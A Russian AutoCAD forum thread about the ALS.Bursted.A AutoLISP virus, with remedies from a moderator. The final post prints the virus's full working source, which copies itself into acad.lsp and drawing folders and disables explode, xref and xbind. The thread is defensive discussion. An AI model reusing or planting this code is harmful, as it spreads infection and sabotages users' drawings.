|
||
| Правила | Регистрация | Пользователи | Сообщения за день | | Поиск | | Справка по форуму | Файлообменник | |
|
![]() |
Поиск в этой теме |
![]() |
#1 | |
Вирус для Автокада
проектировшик
СССР
Регистрация: 01.01.2007
Сообщений: 5,149
|
||
Просмотров: 195138
|
|
||||
проектировшик Регистрация: 01.01.2007
СССР
Сообщений: 5,149
|
Если у кого есть возможность протестить данный вирус, или кто уже сталкивался с этим, просьба посочувст... ой поделиться решением проблемы :roll:
__________________
инженер проектировшик с опттом программа авто гад образование высшие |
|||
![]() |
|
||||
Регистрация: 11.10.2004
e•burg
Сообщений: 755
|
Симантек его видит и лечит - ничего страшного (скрипт).
ALS.Bursted.A |
|||
![]() |
|
||||
проектировшик Регистрация: 01.01.2007
СССР
Сообщений: 5,149
|
В архиве маленкий ЛИСП файлик просто
поюзать его, если знаешь лисп язык посмотреть, он сам по себе безобидный но только с ДВЖ файлами совместно не запускай
__________________
инженер проектировшик с опттом программа авто гад образование высшие |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,350
|
Вот вам несколько вариантов лекарств:
1. Установить системную переменную ACADLSPASDOC в 0 2. В меню исправить вызовы с _xref, _explode, _xbind на _.xref, _.explode, _.xbind соответвенно 3. На кнопку повесить код типа: Код:
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Проектировщик свиноводство Регистрация: 21.08.2003
Сообщений: 2,290
|
Цитата:
|
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,350
|
> DEM : Ага, протянул. Правда, скорость хреноватая (немногим быстрее диалапа), но все лучше чем ничего.
Насчет опробовать - вот веришь, не до того!
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Регистрация: 25.12.2005
Москва
Сообщений: 13,627
|
Следует иметь в виду, что этот файл неминуемо запустится, если будет находится в одной папке с открываемым рисунком DWG. Большинство пользователей понятия не имеют о файле acad.lsp и его особых свойствах и получив от сторонней организации набор файлов, содержащий рисунки, шрифты, типы линий, не обращают внимания на еще какой-то непонятный файл. Они не трогают его, а сразу запускают AutoCAD двойным щелчком по имени полученного рисунка. И процесс пошел.
|
|||
![]() |
|
||||
проектировшик Регистрация: 01.01.2007
СССР
Сообщений: 5,149
|
Цитата:
__________________
инженер проектировшик с опттом программа авто гад образование высшие |
|||
![]() |
|
||||
Ну вот текст этого файла, и кто скажет, что здесь вредоносного?
------------------------------------------------------------------------------ (defun s::startup(/ old_cmd path dwgpath mnlpath apppath oldacad newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2) (setq old_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq path (findfile "base.dcl")) (setq path (substr path 1 (- (strlen path)8))) (setq mnlpath (getvar "menuname")) (setq nowdwg (getvar "dwgname")) (setq wjqm (findfile nowdwg)) (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) (setq acadpath (findfile "acad.lsp")) (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8))) (setq ns1 "" ns2 "") (setq lspbj 0) (setq wjqm (strcat path "acad.lsp")) (if (setq wjm (open wjqm "r")) (progn (while (setq wz (read-line wjm)) (setq ns1 ns2) (setq ns2 wz) ) (if (> (strlen ns1) 14) (if (= (substr ns1 8 7) "acadapp") (setq lspbj 1) ) ) (close wjm) ) ) (if (and (= acadpath dwgpath) (/= acadpath path)) (progn (setq oldacad (findfile "acad.lsp")) (setq newacad (strcat path "acadapp.lsp")) (if (= lspbj 0) (progn (setq wjqm (strcat path "acad.lsp")) (setq wjm (open wjqm "a")) (write-line (strcat "(load" (chr 34) "acadapp" (chr 34)")") wjm) (write-line "(princ)" wjm) (close wjm) ) ) (writeapp) ) (progn (if (/= nowdwg "Drawing.dwg") (progn (setq oldacad (findfile "acadapp.lsp")) (setq newacad (strcat dwgpath "acad.lsp")) (writeapp) ) ) ) ) (command "undefine" "explode") (command "undefine" "xref") (command "undefine" "xbind") (setvar "cmdecho" old_cmd) (princ) ) (defun writeapp() (if (setq wjm1 (open newacad "w")) (progn (setq wjm (open oldacad "r")) (while (setq wz (read-line wjm)) (write-line wz wjm1) ) (close wjm) (close wjm1) ) ) ) (defun C:explode (/ p cont old_cmd) (setq old_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq p(ssget)) (if p (progn (setq cont (sslength p)) (princ "\nSeltct objects:") (princ cont) (princ "found") (princ "\n") (princ cont) (princ "was not able to be explode") ) ) (setvar "cmdecho" old_cmd) (princ) ) (defun C:xref(/ old_cmd) (setq old_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (command "insert") (setvar "cmdecho" old_cmd) (princ) ) -------------------------------------------------------------------------
__________________
«Артиллерия не токмо грохот, но и наука!» Пётр I |
||||
![]() |
![]() |
|
|
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Резервуар 250м.куб. на проверку | dextron3 | Инженерные сети | 42 | 07.05.2011 15:59 |
Компьютер для автокада | ugoday | Компьютерная и бытовая техника, электроника и инструмент | 31 | 02.09.2007 15:07 |
Хочу купить монитор ЖК для автокада какой фирмы я не знаю вы | Рома_2 | Разное | 10 | 21.06.2007 03:44 |
Версия ЛАЙТ для автокада 2006 | Kaktuz | AutoCAD | 8 | 18.10.2006 18:39 |
Определение нагрузок для нестандартных конструкций. | NIVa | Конструкции зданий и сооружений | 2 | 06.08.2005 21:42 |